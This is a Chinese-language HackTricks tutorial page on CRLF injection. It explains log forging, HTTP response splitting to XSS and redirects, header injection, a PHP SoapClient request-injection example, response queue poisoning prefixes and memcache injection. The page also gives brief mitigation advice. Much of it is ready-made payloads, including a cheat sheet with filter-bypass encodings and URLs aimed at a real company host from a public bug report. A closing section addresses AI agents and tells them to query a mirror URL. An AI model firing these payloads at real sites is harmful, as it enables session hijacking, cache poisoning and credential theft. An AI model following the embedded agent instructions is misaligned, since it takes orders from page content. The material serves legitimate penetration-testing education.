# CRLF (%0D%0A) Injection

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们\*\*。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

<figure><img src="/files/wQPam8C1YmPwZ2KLeMOE" alt=""><figcaption></figcaption></figure>

**赏金提示**：**注册** Intigriti，这是一家由黑客创建的高级**赏金计划平台**！立即加入我们，访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

### CRLF

回车符（CR）和换行符（LF）合称为 CRLF，是 HTTP 协议中用于表示行尾或新行开头的特殊字符序列。Web 服务器和浏览器使用 CRLF 来区分 HTTP 头和响应主体。这些字符在各种 Web 服务器类型（如 Apache 和 Microsoft IIS）的 HTTP/1.1 通信中被广泛使用。

### CRLF 注入漏洞

CRLF 注入涉及将 CR 和 LF 字符插入用户提供的输入中。此操作会误导服务器、应用程序或用户，使其将插入的序列解释为一个响应的结束和另一个响应的开始。虽然这些字符本身并不具有危害性，但它们的误用可能导致 HTTP 响应拆分和其他恶意活动。

### 示例：日志文件中的 CRLF 注入

[此处的示例](https://www.invicti.com/blog/web-security/crlf-http-header)给出了一个在管理面板中遵循格式 `IP - 时间 - 访问路径` 的日志文件条目示例：

```
123.123.123.123 - 08:15 - /index.php?page=home
```

攻击者可以利用CRLF注入来操纵这个日志。通过在HTTP请求中注入CRLF字符，攻击者可以改变输出流并伪造日志条目。例如，一个注入的序列可能会将日志条目转换为：

```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```

这里，`%0d` 和 `%0a` 代表了 CR 和 LF 的 URL 编码形式。攻击后，日志会误导性地显示：

```
IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```

攻击者通过使恶意活动看起来像是本地主机（通常在服务器环境中受信任的实体）执行了这些操作来掩盖他们的恶意活动。服务器将以`%0d%0a`开头的查询部分解释为单个参数，而`restrictedaction`参数被解析为另一个单独的输入。操纵后的查询有效地模仿了一个合法的管理命令：`/index.php?page=home&restrictedaction=edit`

### HTTP响应拆分

#### 描述

HTTP响应拆分是一种安全漏洞，当攻击者利用HTTP响应的结构时会出现这种漏洞。这种结构使用特定字符序列将头部与主体分开，即回车（CR）后跟换行（LF），统称为CRLF。如果攻击者成功将CRLF序列插入响应头部，他们可以有效地操纵随后的响应内容。这种操纵可能导致严重的安全问题，尤其是跨站脚本（XSS）。

#### 通过HTTP响应拆分实现XSS

1. 应用程序设置一个自定义头部，如：`X-Custom-Header: UserInput`
2. 应用程序从查询参数中获取`UserInput`的值，比如说"user\_input"。在缺乏适当输入验证和编码的情况下，攻击者可以构造一个包含CRLF序列的有效负载。
3. 攻击者使用一个特别设计的'user\_input'来构造一个URL：`?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`

* 在这个URL中，`%0d%0a%0d%0a`是CRLFCRLF的URL编码形式。它欺骗服务器插入CRLF序列，使服务器将随后的部分视为响应主体。

4. 服务器在响应头部中反射攻击者的输入，导致意外的响应结构，其中恶意脚本被浏览器解释为响应主体的一部分。

#### 通过HTTP响应拆分导致重定向的示例

来自<https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62>

浏览器到:

```
/%0d%0aLocation:%20http://myweb.com
```

服务器响应的头部为：

```
Location: http://myweb.com
```

**其他示例：(来自** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**

```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```

#### 在URL路径中

您可以将**有效载荷放在URL路径中**，以控制服务器的**响应**（例如来自[这里](https://hackerone.com/reports/192667)）。

```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```

查看更多示例：

{% embed url="<https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md>" %}

### HTTP 头注入

HTTP 头注入通常通过 CRLF（回车和换行）注入进行利用，允许攻击者插入 HTTP 头。这可能会破坏安全机制，如 XSS（跨站脚本）过滤器或 SOP（同源策略），潜在地导致对敏感数据的未经授权访问，如 CSRF 令牌，或通过 cookie 注入操纵用户会话。

#### 通过 HTTP 头注入利用 CORS

攻击者可以注入 HTTP 头以启用 CORS（跨域资源共享），绕过 SOP 强加的限制。这种漏洞允许来自恶意来源的脚本与来自不同来源的资源进行交互，潜在地访问受保护的数据。

#### 通过 CRLF 利用 SSRF 和 HTTP 请求注入

CRLF 注入可用于构建并注入全新的 HTTP 请求。其中一个显著的示例是 PHP 的 `SoapClient` 类中的漏洞，特别是 `user_agent` 参数。通过操纵此参数，攻击者可以插入额外的头部和正文内容，甚至完全注入一个新的 HTTP 请求。以下是演示此利用的 PHP 示例：

```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```

### 利用请求串联进行头部注入

有关此技术和潜在问题的更多信息[**请查看原始来源**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。

您可以注入必要的头部，以确保**后端在响应初始请求后保持连接打开**：

```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```

之后，可以指定第二个请求。这种情况通常涉及[HTTP请求走私](/pentesting-web/http-request-smuggling.md)，这是一种技术，服务器在注入后附加的额外标头或主体元素可能导致各种安全漏洞。

**利用：**

1. **恶意前缀注入**：这种方法涉及通过指定恶意前缀来毒化下一个用户的请求或Web缓存。示例：

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`

2. **为响应队列毒化制作前缀**：这种方法涉及创建一个前缀，当与尾随的垃圾组合时，形成一个完整的第二个请求。这可能触发响应队列毒化。示例：

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`

### Memcache注入

Memcache是一个使用明文协议的**键值存储**。更多信息请参阅：

{% content-ref url="/pages/EdeRc2hkFvk1e7rGCfJb" %}
[11211 - Pentesting Memcache](/network-services-pentesting/11211-memcache.md)
{% endcontent-ref %}

**阅读完整信息请查看**[**原始报告**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)

如果平台从HTTP请求中获取数据并在未经过消毒的情况下使用它来执行对**memcache**服务器的**请求**，攻击者可以利用这种行为来**注入新的memcache命令**。

例如，在最初发现的漏洞中，缓存键用于返回用户应连接到的IP和端口，攻击者能够**注入memcache命令**，这些命令将**毒化**缓存以将受害者的详细信息（包括用户名和密码）发送到攻击者的服务器：

<figure><img src="/files/tj5wIYcL7XcP31282idd" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>

此外，研究人员还发现他们可以使memcache响应脱节，将攻击者的IP和端口发送给攻击者不知道其电子邮件的用户：

<figure><img src="/files/sgD0XrFspR0xVnC0oH1t" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>

### 如何在Web应用程序中防止CRLF / HTTP标头注入

为了减轻Web应用程序中CRLF（回车符和换行符）或HTTP标头注入的风险，建议采取以下策略：

1. **避免在响应标头中直接使用用户输入**：最安全的方法是避免直接将用户提供的输入合并到响应标头中。
2. **对特殊字符进行编码**：如果无法避免直接使用用户输入，请确保使用专门用于编码特殊字符（如CR（回车符）和LF（换行符））的函数。这种做法可以防止CRLF注入的可能性。
3. **更新编程语言**：定期更新Web应用程序中使用的编程语言到最新版本。选择一个在负责设置HTTP标头的函数中固有地禁止CR和LF字符注入的版本。

### 速查表

[从这里获取速查表](https://twitter.com/NinadMishra5/status/1650080604174667777)

```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```

## 自动化工具

* <https://github.com/Raghavd3v/CRLFsuite>
* <https://github.com/dwisiswant0/crlfuzz>

## 暴力破解检测列表

* <https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt>

## 参考资料

* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)

<figure><img src="/files/wQPam8C1YmPwZ2KLeMOE" alt=""><figcaption></figcaption></figure>

**漏洞赏金提示**：**注册**Intigriti，一个由黑客创建的高级**漏洞赏金平台**！立即加入我们，访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达\*\*$100,000\*\*的赏金！

{% embed url="<https://go.intigriti.com/hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/crlf-0d-0a.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
